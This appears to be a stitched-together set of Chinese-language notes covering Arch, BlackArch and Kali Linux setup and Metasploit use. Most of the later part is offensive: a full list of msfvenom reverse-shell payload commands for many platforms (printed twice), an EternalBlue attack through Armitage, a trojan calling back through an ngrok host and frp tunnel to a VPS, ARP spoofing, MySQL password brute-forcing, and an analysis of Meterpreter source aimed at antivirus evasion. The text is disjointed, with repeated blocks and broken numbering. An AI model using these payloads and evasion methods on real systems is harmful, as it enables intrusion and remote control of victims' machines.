https://archlinux.org/download/
vim /etc/pacman.d/mirrorlist
12.格式化分区,这里注意 1M 的 /dev/sda1 分区不用格式化,
只需要把 /dev/sda2 分区格式化即可
mkfs.ext4 /dev/sda2
mount /dev/sda2 /mnt
这里要主要哦,
比较旧的Arch 安装教程只安装了 base 和 base-devel,
而 linux 与 linux-firmware 没有安装,
wiki 文档说明了,linux 和linux-firmware 要安装的。
pacstrap /mnt base linux linux-firmware
15.配置 fstab
genfstab -U /mnt >> /mnt/etc/fstab
16.切换到新安装的系统
arch-chroot /mnt
17.设置时区
ln -sf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime
18.设置硬件时间
hwclock --systohc --utc
19.为了编辑文件方便,在新系统安装 vim
pacman -S vim
20.系统本地化,打开 /etc/locale.gen 文件,把 en_US.UTF-8 UTF-8 的注释去掉,然后wq保存退出
12.执行 locale-gen 生成 locale 信息
locale-gen
22.创建 locale.conf 文件
echo LANG=en_US.UTF-8 > /etc/locale.conf
23.安装grub
pacman -S grub
grub-install --target=i386-pc /dev/sda
注意是 /dev/sda 而不是 /dev/sda1 或 /dev/sda2 啥的。
grub-mkconfig -o /boot/grub/grub.cfg
25.更改 root 密码
passwd root
26.网络配置
pacman -S dhcpcd
27.设置开机自启启动 dhcpcd
至此大功告成!!!
28.退出
exit
29.重启
reboot
root
blackarch
此步骤 省略******************************************************************
1 使用Pacman软件包管理器从存储仓库安装
这是选择通过网络安装ISO的推荐选项,这可以从Arch和BlackArch的官方存储仓库中获取所需的安装包。
2 从Live-ISO安装
如果你下载了Live ISO文件而且你选择以这种方式安装的话,那么在安装的过程中就不需要网络连接。然而,为了获取系统更
新,在安装完成后,一旦到达安装环境(在你引导进入新的安装之后)使用pacman-Syyu开始一个通用的更新。
3 使用blackman从安装源安装
这种安装方法不推荐刚开始接触BlackArch的人使用,和pacman直接从存储仓库获取已经编译好的安装包不同的是,这种安装
方法将从安装源获取源代码之后再进行编译。这和emerge在可用于Gentoo系统上的方法类似(blackman只是从源代码编译,
emerge有更高级的灵活性而且提供了大量的特性)
静默
2
你可能已经选定了你想要的keymap按键映射。
如果你的键盘是一个全键盘,你可以继续使用美式键码,然而,情况可能并非总是如此。
如果你无法确定,你可能需要在BlackArch中通过选择2来列举出所有可用的按键映射。
大多数时候,都是使用的英语国家的代码。
对于法国的AZERTY键盘,按键映射的代码是fr,对于西班牙语则是es等等。如果你知道按键映射,选择1
2
2
:q
yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh
bt default
https://console.cloud.tencent.com/cam/capi
拉取安装文件,修改权限,执行安装
curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
> chmod 755 msfinstall && \
> ./msfinstall
使用msfconsole
windows:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b '\x00\x0a\xff' -i 3 -f exe -o payload.exe
mac:
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f macho -o payload.macho
android:
//需要签名
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f apk -o payload.apk
powershell:
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
linux:
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f elf -o payload.elf
php:
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php cat shell.php | pbcopy && echo ' | tr -d '\n' > shell.php && pbpaste >> shell.php
aspx:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f aspx -o payload.aspx
jsp:
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.jsp
war:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw - o payload.war
nodejs:
msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.js
python:
msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.py
perl:
msfvenom -p cmd/unix/reverse_perl LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.pl
ruby:
msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.rb
lua:
msfvenom -p cmd/unix/reverse_lua LHOST=攻击机IP LPORT=攻击机端口 -f raw -o payload.lua
windows shellcode:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c
linux shellcode:
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c
mac shellcode:
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f c
Options:
-p, --payload <payload> 使用指定的payload
--payload-options 列出该payload参数
-l, --list [type] 列出所有的payloads
-n, --nopsled <length> 为payload指定一个 nopsled 长度
-f, --format <format> 指定payload生成格式
--help-formats 查看所有支持格式
-e, --encoder <encoder> 使用编码器
-a, --arch <arch> 指定payload构架
--platform <platform> 指定payload平台
--help-platforms 显示支持的平台
-s, --space <length> 设定payload攻击荷载的最大长度
--encoder-space <length> The maximum size of the encoded payload
(defaults to the -s value)
-b, --bad-chars <list> 指定bad-chars 如: '\x00\xff'
-i, --iterations <count> 指定编码次数
-c, --add-code <path> 指定个win32 shellcode 文件
-x, --template <path> 指定一个 executable 文件作为模板
-k, --keep payload自动分离并注入到新的进程
-o, --out <path> 存放生成的payload
-v, --var-name <name> 指定自定义变量
--smallest Generate the smallest possible payload
-h, --help 显示帮助文件
msf是一个很好的渗透测试框架,但是苦于众多的指令,
因此出现一款软件可以将其图形化显示,这就是大名鼎鼎的armitage。
Armitage是一款Java写的Metasploit图形界面化的渗透软件,
可以用它结合Metasploit中已知的exploit来针对内网主机存在的漏洞自动化渗透,
由于作者已经不再更新版本,目前在kali linux 中是默认不安装的。
kali tools地址:https://www.kali.org/tools/armitage/
下载地址:https://gitlab.com/kalilinux/packages/armitage
打开终端:
┌──(kali㉿kali)-[~/桌面/111/armitage-kali-master]
└─$ ./package.sh
结束后在release里面有unix和windows两个文件夹。
打开终端:
┌──(kali㉿kali)-[~/桌面/111/armitage-kali-master/release/unix/]
└─$ ./armitage
就可以运行了,但是这时候运行会出现问题,还需要配置数据库。
数据的默认地址是:
/etc/postgresql/
后面是版本号:14/main/
cd /etc/postgresql/14/main/
全部注释掉,然后加上:
vim pg_hba.conf
# "local" is for Unix domain socket connections only
local all all trust
# IPv4 local connections:
host all all 127.0.0.1/32 trust
# IPv6 local connections:
host all all ::1/128 trust
然后执行下面代码:
┌──(kali㉿kali)-[~]
└─$ sudo service postgresql stop
┌──(kali㉿kali)-[~]
└─$ sudo msfdb reinit
┌──(kali㉿kali)-[~]
└─$ sudo service postgresql start
┌──(kali㉿kali)-[~/桌面/111/armitage-kali-master/release/unix/]
└─$ sudo ./armitage
update-rc.d postgresql enable
选中“payload”, 然后选择“windows” ➡️“meterpreter”, 找到所需的攻击载荷(即meterpreter_reverse_tcp)来充当被控端
双击这个攻击载荷,会弹出下图的界面,在该界面中可以对meterpreter_reverse_tcp进行设置
为meterpreter_reverse_tcp这个发出去的攻击载荷创建了一个主控端,Metasploit也将这个主控端称为handler。但是我们可能要控制多个攻击载荷,所以要将这个handler设置得跟攻击载荷一样。产生攻击载荷的命令如下:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.68.125 LPORT=5000 -f exe -o /root/payload.exe
使用相同的步骤,我们可以产生一个被控端,这里将其端口设置为5000,“Output”处选择要输出的格式,这里设置为exe,
单击“Launch”按钮,会产生一个基于meterpreter_reverse_tcp的被控端,并在原来的命令行窗口旁边产生一个新的控制窗口,这个窗口可以用来接收来自我们刚创建的被控端返回的连接
只需在目标主机上执行这个攻击载荷,就可以使用这个handler来控制目标主机了。现在将攻击载荷移动到目标主机中,当这个攻击载荷执行以后,我们就可以从远程控制目标主机了
选择一个你想测试的主机,然后在左侧寻找可以使用的exp,在这里我就使用永恒之蓝.
ms17
双击这个exp文件,便会弹出一个设置框,
这里我们只需要设置目标ip(rhost),也可以根据自己设置
靶机图标变成了显眼的红色且被闪电缠绕,生动形象地表示出了这台主机已经被攻击过.
依次选择Shell->Interact。便可以使用shell输入命令了。
问题
在输入正确的账号密码之后,任然跳出错误信息窗口显示有::
不支援 10 验证类型。请核对您已经组态 pg_hba.conf 文件包含客户端的IP位址或网路区段,以及驱动程序所支援的验证架构模式已被支援。
解决方法
1.安装Armitage ,官网下载压缩包或kali下输入 armitage , 按提示进行安装
2.启动postgresql服务
/etc/init.d/postgresql start
3.初始化msfdb
msfdb init
4.启动msfconsole
msfconsole
5.查看数据库连接状态
db_status
如果显示的是 postgresql selected,no connection 则有问题,可以退出msfconsole输入
msfdb reinit
7.启动Armitage
输入正确的账号密码后(该密码在每次输入上面的命令后显示的都不一样),出现错误原因与数据库配置有关系。
8.配置postgresql
功能: 数字取证 渗透测试 黑客攻防 安全系统 支持ARM架构
开发团队:Offensive Security Devon Kearns
预装软件:
nmap (端口扫描)
Wireshark(数据包分析)
John the Ripper (密码破解)
Aircrack-ng(无线局域网测试套装)
Metasploit Framework(针对远程主机开发/执行Exploit codeing Tools)
运行:
硬盘启动 liveCD liveUSB
建议下载 win32 Disk Imager
写入镜像 --> u盘
32/64 可能是AMD架构
自己区分 有人说32-i386位的好用 ,自己测试
512MB以上
20GB以上
引导顺序 硬盘 光盘 u盘(有系统物理机 更改引导顺序eg:F12)
开机启动中时候
F12 /Esc
install
自己选择语言
帐号密码
LVM Logical Volume Manager(逻辑卷管理)
Linux环境下对磁盘分区进行管理的一种机制
写入磁盘
不使用网络镜像
GRUB 引导启动 /dev/sda
(密码忘了的话 --> 去看看linux 密码破解攻防系列)
umount / dev / sr0 卸载光盘
clear
mount /dev /sr0 /media 挂载
ls /media
cd /media
tar zxvf xxx.tar.gz -C /xxx/xxx
cd /xxx/xxx
ls
./vmware-install.pl
默认回车
死循环 填写no
安装完毕
sync 保存当前配置
reboot 重启
### 查看预装软件
完毕简单测试下
强行更改ip
:wq
https://mirrors.tuna.tsinghua.edu.cn/kali-images/kali-2021.1/
kali下载连接:https://www.kali.org/downloads/
#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#清华大学
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#官方源
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib
#阿里巴巴
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
apt-get update //获取最新软件包的列表
apt-get dist-upgrade 将根据需要安装或删除软件包以完成升级,
apt-get upgrade 将自动安装但不会删除包。
apt --fix-broken install
安装fcitx
apt-get install fcitx
apt-get install fcitx fcitx.googlepinyin
三、下载搜狗输入法
https://pinyin.sogou.com/linux/
sudo dpkg -i sogoupinyin_版本号_amd64.deb
注:
如果安装过程中提示缺少相关依赖,则执行如下命令解决:
sudo apt -f install
apt-getinstallibus ibus-pinyin
2020 版本 非root用户 使用标准的非特权用户来增加额外的安全性
】- kali kali
需要root访问的工具,以及诸如启动/停止服务等常见的管理功能,将以交互方式请求管理权限(至少在从Kali菜单启动时)
我们不再为每个桌面环境(DE)提供单独的映像。
相反,我们现在有一个单独的映像,可以选择在安装期间选择DE。
这意味着没有Xfce(这是我们从2019.4开始的默认选项)、GNOME、KDE、MATE或LXDE桌面的下载链接
cd /media/cdrom0/ 双击打开
cd
ls
sudo tar zxvf VM+TAB补全 -C /root
#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib
#阿里云
deb http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
deb-src http://mirrors.aliyun.com/kali kali-rolling main non-free contrib
#清华大学
deb http://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
deb-src https://mirrors.tuna.tsinghua.edu.cn/kali kali-rolling main contrib non-free
#浙大
deb http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
deb-src http://mirrors.zju.edu.cn/kali kali-rolling main contrib non-free
#东软大学
deb http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
deb-src http://mirrors.neusoft.edu.cn/kali kali-rolling/main non-free contrib
#官方源
deb http://http.kali.org/kali kali-rolling main non-free contrib
deb-src http://http.kali.org/kali kali-rolling main non-free contrib
我是全选了 源
apt-get update && apt-get upgrade && apt-get clean
安装Kali Linux 2020.1系统后,需要使用root用户权限安装软件。
由于root用户的默认密码未知,所以需要在单用户模式下重新设置root用户密码。
操作步骤如下:
(1)启动Kali Linux,进入启动界面。
(2)选择Kali GNU/Linux项,并按下e键,进入Grub编辑界面。
(3)选择linux那一行,将ro 改为 rw 在此行末尾增加 init=/bin/bash 修改完毕以后按Ctrl+X 键进入单用户模式
(4)按下Ctrl+X或F10重新启动系统,即可进入单用户模式。。
(5)执行passwd命令,输入两次密码。注意,输入的密码是不显示的。
vim/cat /etc/shadow
(6)重启Kali 到此登陆页面,输入刚才设置的账号密码,回车进行登陆,至此已经使用root账号登陆成功
— 上面错误 直接关闭虚拟机 再打开就重启
windows:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -e x86/shikata_ga_nai -b ‘\x00\x0a\xff’ -i 3 -f exe -o
payload.exe
mac:
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP
LPORT=攻击机端口 -f macho -o payload.macho
android:
//需要签名
msfvenom -a x86 --platform Android -p android/meterpreter/reverse_tcp LHOST=攻
击机IP LPORT=攻击机端口 -f apk -o payload.apk
powershell:
msfvenom -a x86 --platform Windows -p windows/powershell_reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -e cmd/powershell_base64 -i 3 -f raw -o payload.ps1
linux:
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
击机IP LPORT=攻击机端口 -f elf -o payload.elf
php:
msfvenom -p php/meterpreter_reverse_tcp LHOST= LPORT=
-f raw > shell.php
cat shell.php | pbcopy && echo ' shell.php && pbpaste >>
shell.php
aspx:
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -f aspx -o payload.aspx
jsp:
msfvenom --platform java -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻
击机端口 -f raw -o payload.jsp
war:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -
o payload.war
nodejs:
msfvenom -p nodejs/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.js
python:
msfvenom -p python/meterpreter/reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -
f raw -o payload.py
perl:
msfvenom -p cmd/unix/reverse_perl LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.pl
ruby:
msfvenom -p ruby/shell_reverse_tcp LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.rb
lua:
msfvenom -p cmd/unix/reverse_lua LHOST=攻击机IP LPORT=攻击机端口 -f raw -o
payload.lua
windows shellcode:
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=
攻击机IP LPORT=攻击机端口 -f c
linux shellcode:
msfvenom -a x86 --platform Linux -p linux/x86/meterpreter/reverse_tcp LHOST=攻
击机IP LPORT=攻击机端口 -f c
mac shellcode:
msfvenom -a x86 --platform osx -p osx/x86/shell_reverse_tcp LHOST=攻击机IP
LPORT=攻击机端口 -f c
HTTPS(全称:Hyper Text Transfer Protocol over SecureSocket Layer)
以安全为目标的 HTTP 通道
在HTTP的基础上通过传输加密和身份认证保证了传输过程的安全性
HTTPS 在HTTP 的基础下加入SSL 层,
HTTPS 的安全基础是 SSL,因此加密的详细内容就需要 SSL。
HTTPS 存在不同于 HTTP 的默认端口及一个加密/身份验证层(在 HTTP与 TCP 之间)。
这个系统提供了身份验证与加密通讯方法。
现在它被广泛用于万维网上安全敏感的通讯,例如交易支付等方面
Ctrl+Alt+F1命令行界面登陆运行 或者 init 3(有的童鞋虚拟机)
init+数字所代表的命令:
0:停机或者关机(千万不能将initdefault设置为0)
1:单用户模式,只root用户进行维护
2:多用户模式,不能使用NFS(Net File System)
3:完全多用户模式(标准的运行级别)
4:安全模式
5:图形化(即图形界面)
6:重启(千万不要把initdefault设置为6)
注意命令模式开机可能 numlock是锁着的 打开小写键盘 (密码可能带有数字)
logout ###让用户退出系统的Linux命令。
###出了点小插曲
ssh连接 如果出现了 access denied
###还有一个故障 就是 init转换后图形化登陆循环
在网上找找有相应教程这里就不说了
##弄一个 xshell 得资源 需要的自取
690313-111999-999313 码
链接:https://share.weiyun.com/505zSO7 密码:rnawkn
Xshell 连上了
之前用的 putty suite Xshell比putty功能强大
所以果断换 eg:复制SSH渠道
或者 Xshell:> ls 显示连接主机用户
或者 便捷命令
arpspoof命令进行断网攻击(ARP欺骗)
arpspoof -i eth0 -t 192.168.1.112 192.168.1.1
与网络有关的-i(interface)
网卡eth0
目标-t(target)
目标IP:192.168.1.112
目标主机网关192.168.1.1
ettercap -i eth0 -Tq
driftnet -i eth0 -b -a -d /pic
解释下这几个参数
-i 监听网卡
-b 声音提醒
-a 保存图片(图片不会显示)
-d 图片保存目录
sslstrip
一、什么是Wpscan?什么是Wordpres?
1.Wpscan
WPScan是一款针对wordpress的安全扫描软件;
可以扫描出wordpress的版本,
主题,插件,后台用户以及爆破后台用户密码等。
2.Wordpress
WordPress是一种使用PHP语言和MySQL数据库开发的博客平台,
用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。
也可以把 WordPress当作一个内容管理系统(CMS)来使用。
WordPress有许多第三方开发的免费模板,安装方式简单易用。
如果要做一个自己的模板,则需要有一定的专业知识,
至少要懂的标准通用标记语言下的一个应用HTML代码、CSS、PHP等相关知识。
建站流程
二、Wpscan命令详解
利用-h命令,可查看Wpscan的常用选项,功能介绍,例子等;
root@kali:~# wpscan -h
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 2.8
Sponsored by Sucuri - https://sucuri.net
https://data.wpscan.org/plugins.json
https://data.wpscan.org/plugins.json.sha512
https://data.wpscan.org/themes.json
https://data.wpscan.org/themes.json.sha512
https://data.wpscan.org/wordpresses.json
https://data.wpscan.org/wordpresses.json.sha512
https://data.wpscan.org/timthumbs-v3.txt
https://data.wpscan.org/timthumbs-v3.txt.sha512
https://data.wpscan.org/config_backups.txt
https://data.wpscan.org/config_backups.txt.sha512
https://data.wpscan.org/db_exports.txt
https://data.wpscan.org/db_exports.txt.sha512
https://data.wpscan.org/dynamic_finders.yml
https://data.wpscan.org/dynamic_finders.yml.sha512
https://data.wpscan.org/wp_fingerprints.json
https://data.wpscan.org/wp_fingerprints.json.sha512
https://data.wpscan.org/LICENSE
https://data.wpscan.org/LICENSE.sha512
————————————————
C:\WINDOWS\system32\drivers\etc
yum groupinstall 'Development Tools'
yum -y install sqlite-devel libxslt-devel libxml2-devel java-1.7.0-openjdk libpcap-devel nano openssl-devel zlib-devel libffi-devel gdbm-devel readline-devel nano wget
yum -y install ruby
yum -y install yaml
yum -y install postgresql
网址:https://www.ngrok.cc
eg: 192.168.254.128 我的内网ip
地址:https://www.ngrok.cc/sunny/linux_amd64.zip?v=2.1
unzip
./sunny clientid 隧道id
kali命令 生成EXE木马文件:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=tcp://free.idcfengye.com LPORT=10206 -f exe -o /home/amingmm/Desktop/puty.exe
Use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set
run/exploit
https://github.com/fatedier/frp/releases【下载】
解压
● kali端 frpc配置
[common]
server_addr = 121.5.64.200 #vps地址
server_port = 2580 #vps监听端口
[msf]
type = tcp
local_ip = 127.0.0.1
local_port = 12580 # msf载荷 监听端口 【即内网主机监听端口】
remote_port = 6666 # vps流量转发端口【流量出口 载荷端口】
服务端
[common]
bind_port = 2580 【服务端监听端口】
./frps(frpc) -c frps.ini (frpc.ini) 开启服务端(客户端)
systemctl start frps
systemctl restart frps
systemctl stop frps
● frp 连接流程
frps开启两个端口监听----< 内网客户端frpc 开启 tcp连接到 vps
vps–内网主机建立连接 连接1 建立
● 肉鸡上线 流程
载荷创建进程 主动连接 vps:载荷端口
管道流量转发 把 载荷端口 流量 通过tcp 连接 发包 传送到 内网kali端
● kali端 上线流程
kali端 frpc客户端 通过管道 将流量 转发给 msf handler -->监听端口
connect 链接一个主机、网络
edit 编辑一个模块
exit 退出控制台
get 获取变量
getg 全局变量
go_pro 进入GUI ····有的版本没有
grep 输出命令
info 查看模块详细信息
irb drop 进脚本模块 ruby
jobs 显示 你使用 的 模块
kill 处理掉一个 项目进程
load 加载一些插件
loadpath 插件路径
quit 退出控制台
route 做跳板代理
save 保存活跃数据
search 搜索漏洞模块
sessions 选择会话 -i x (shell 反弹回来 选择序号)
set 设置 参数 RHOSTS 地址/网段
show options 查看配置选项
exploit 执行
db_connect 链接
db_disconnect 断开
db_export 导出
db_import 导入
db_nmap 扫描结果入库
service postgresql start
status
service metasploit start
msfconsole
search mysql
use auxiliary/scanner/mysql/mysql_login
set RHOST 192.168.10.3
set user_file 用户名字典的路径(位置)
set pass_file 密码字典的路径(位置)
set STOP_ON_SUCCESS yes (只要爆破成功就停止)
run 启动攻击,开始爆破
Windows10 Ruby
自从将CobaltStrike二开之后放在了GITHUB,
MSF的源码级免杀怎么做的,今天决定带大家手撕metasploit中meterpreter源码。
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=4444 > yanbuguohengyang.jar
下载Jd-Gui
https://download.apponic.com/crTvxmk7KUri_YfUJhkmHBXYcZuqbStoYn0kPSXJn4kr1hhFaL4IrWGdr2GIbA7AtEJZOyNuCoTB2v39p-qywhEQwQgvEK1j7wQG4qZJ1Xv3DcJrJG8AHHDL05nArb0CmWEKPODCXLURQryUsOrnccH2p_4m1j8M_52d/
保存源代码
马儿开局声明了几个全局变量
1.判断当前的操作系统
2.获取当前系统的路径分割符
3.判断系统是否基于unix内核
4.判断路径分隔符是否是 “;”
5.获取Jdk的安装目录
1.创建IO流读取配置文件
2.获取配置文件中Executable字段
如果字段不为空
1.获取系统一定存在的系统路径
2.在一定存在的系统路径下创建 “~spawnxxxx.tmp.dir”文件
3.在创建的dir下创建一个文件名为 配置文件中key为Executable的目录
4.调用方法传入1.反射获取到的Payload对象,2.Executable的值,3.创建的文件 (内部将Executable的值写入到创建到的新文件下)
5.删除配置文件中的Executable
6.配置文件写入DroppedExecutable值为新创建的值的不同操作系统的绝对路径
此代码Executable字段为空,不去执行判断内容
配置文件内容如上图所示
1.spawn值下文阐述
2.LHOST为回连地址
3.LPORT为回连端口
1.获取spawn值内容
如果spawn值大于0则
1.将Spawn减去1重新赋值给配置文件的Spawn
2.获取当前系统临时路径.dir
3.将此文件(也就是木马文件)写入系统临时路径
4.将获取到的jdk路径运行被重新写入的马儿路径(此过程为spawn路径-1的过程)
如果spawn值不大于0则
1.读取配置文件的回连地址
2.读取配置文件的端口
3.如果端口小于0的情况此处不做赘述
4.如果端口不小于0则与获取到的回连地址与端口建立Socket连接
5.建立连接后使用IO流获取服务端返回结果
6.调用bootstrap()函数
1.使用IO流获取服务端返回内容
2.判断paramString是否为空(上文可知为空,所以为空的逻辑不做阐述)
3.通过反射找到javapayload.stage.
4.将反射获取到的类采用反射invoke函数执行
5.定义trycatch捕获异常抛出
以上为MSF木马源码逻辑总线,其余函数为辅助主线完成函数
其中包括
1.寻找临时文件绝对路径
2.寻找Jdk的路径
3.针对不同系统对路径分割符号的替换
但是这些都不重要。
通过以上对MSF木马的刨析,可以看出MSF采用木马三次加载(根据spawn的值决定)最后释放恶意代码,但是若如此做的目的我尚且不详,
可能是为了起到免杀的作用.
还有就是这个马儿的通用性,它可以在不同的类型的操作系统上线是因为其中很多东西都做了动态处理,
如路径分隔符,jdk的动态查找等。
了解了以上几点内容最终分享一个源码级免杀的案例吧
代码中我去除了很多马儿的原有逻辑,如上文提到的兼容性等问题,循环加载等问题。
1.直接建立socket连接
2.直接将服务端的数据加载
3.不再从配置文件读取回连地址端口,硬编码写死
如此做保留了建立连接的关键性代码,做到了客户端和服务端的对接。
关于免杀
我一直认为源码级免杀是比shellcode的免杀要好做的,这其中的原因是因为源码级免杀牵扯很多api,杀软大多数只能通过木马特征来查杀,但是shellcode的免杀加载器所遇到的api,申请内存空间,创建线程运行等函数已经被列入高危函数,可免杀的发展空间并无源码级免杀发展的空间大。
1.这个客户端的免杀率我一年多前上传的时候是vt都过了的,现在我懒得上传了,大家自行研究吧。这篇文章是我继《Cobaltstrike免杀从源码级到落地思维转变》出的前文,原因是因为很多人看了那篇文章后让我出一个分析msf的文章做衔接。
2.还有些人问我免杀很好过,但是始终存在一个问题就是免杀的木马在相对时间过后无法免杀的问题,这其实就引申出来免杀平台的作用。杀软是一套程序,是程序就有自己的运行逻辑,如果我们掌握这种规律并且自己的逻辑在杀软逻辑之上的话,那么杀软只能追着免杀平台生成的木马封,永远都无法追上。具体的实现逻辑我不能说,大家体会吧……hahahaha
但是可以分为以下两点
1.shelcode的免杀,shellcode的随机性
2.加载器的免杀,加载器的随机性
3.反虚拟机,反虚拟机的红队调试
4.反沙箱,反沙箱的分析